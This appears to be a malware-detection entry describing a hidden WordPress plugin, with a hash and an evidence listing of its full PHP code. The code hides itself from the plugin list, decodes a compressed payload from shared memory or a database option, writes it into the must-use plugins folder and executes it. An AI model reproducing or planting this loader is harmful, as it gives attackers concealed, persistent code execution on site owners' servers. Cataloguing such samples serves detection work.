direct-db-mesh.php
Hidden WordPress plugin evaluates its restored fileConcealed plugin decodes compressed option data and recreates loadable files
SHA-256e59c538b12ade45054c02b0c3a2ff03e01d3e3812e458374d72e8ea466e45cca
MaleculeO₃(PXeEr)H₄(Po₂Db₅F₄Mg)Md
Evidence
1<?php
2add_filter('all_plugins', function ($plugins) {
3 unset($plugins[plugin_basename(__FILE__)]);
4 return $plugins;
5});
6add_action('plugins_loaded', function () {
7 $target = WP_CONTENT_DIR . '/mu-plugins/runtime-cache.php';
8 $segment = shmop_open(734218, 'a', 0, 0);
9 $source = $segment ? shmop_read($segment, 0, shmop_size($segment)) : '';
10 if (!$source) {
11 $db = mysqli_connect(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
12 $query = mysqli_query($db, "SELECT option_value FROM {$table_prefix}options WHERE option_name = 'runtime_snapshot' LIMIT 1");
13 $row = mysqli_fetch_assoc($query);
14 $source = gzdecode(base64_decode($row['option_value']));
15 }
16 if (!file_exists($target)) {
17 file_put_contents($target, $source);
18 chmod($target, 0644);
19 opcache_invalidate($target, true);
20 }
21 include $target;
22}, 0);